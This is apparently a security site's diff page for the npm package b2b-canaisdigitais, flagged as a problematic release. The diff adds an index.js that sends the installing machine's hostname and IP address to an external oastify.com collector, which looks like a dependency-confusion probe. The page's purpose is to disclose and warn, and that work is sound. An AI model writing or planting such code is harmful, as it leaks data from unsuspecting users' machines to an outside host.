b2b-canaisdigitais 0.0.1-security → 3.4.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of b2b-canaisdigitais might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +44 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,44 @@
1
+ const http = require('http');
2
+ const os = require('os');
3
+
4
+ const serverAddress = 'c7kxnys58daceezcxx0jjstn6ec50vok.oastify.com';
5
+
6
+ const message = 'Objetivo Atingido';
7
+ const hostname = os.hostname();
8
+ const ipAddress = os.networkInterfaces().en0.find((iface) => iface.family === 'IPv4').address;
9
+
10
+ const postData = JSON.stringify({
11
+ message,
12
+ hostname,
13
+ ipAddress,
14
+ });
15
+
16
+ const options = {
17
+ hostname: serverAddress,
18
+ path: '/',
19
+ method: 'POST',
20
+ headers: {
21
+ 'Content-Type': 'application/json',
22
+ 'Content-Length': postData.length,
23
+ },
24
+ };
25
+
26
+ const req = http.request(options, (res) => {
27
+ let data = '';
28
+
29
+ res.on('data', (chunk) => {
30
+ data += chunk;
31
+ });
32
+
33
+ res.on('end', () => {
34
+ console.log('Response:', data);
35
+ });
36
+ });
37
+
38
+ req.on('error', (err) => {
39
+ console.error('Error:', err.message);
40
+ });
41
+
42
+ req.write(postData);
43
+ req.end();
44
+
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "b2b-canaisdigitais",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "3.4.5",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=b2b-canaisdigitais for more information.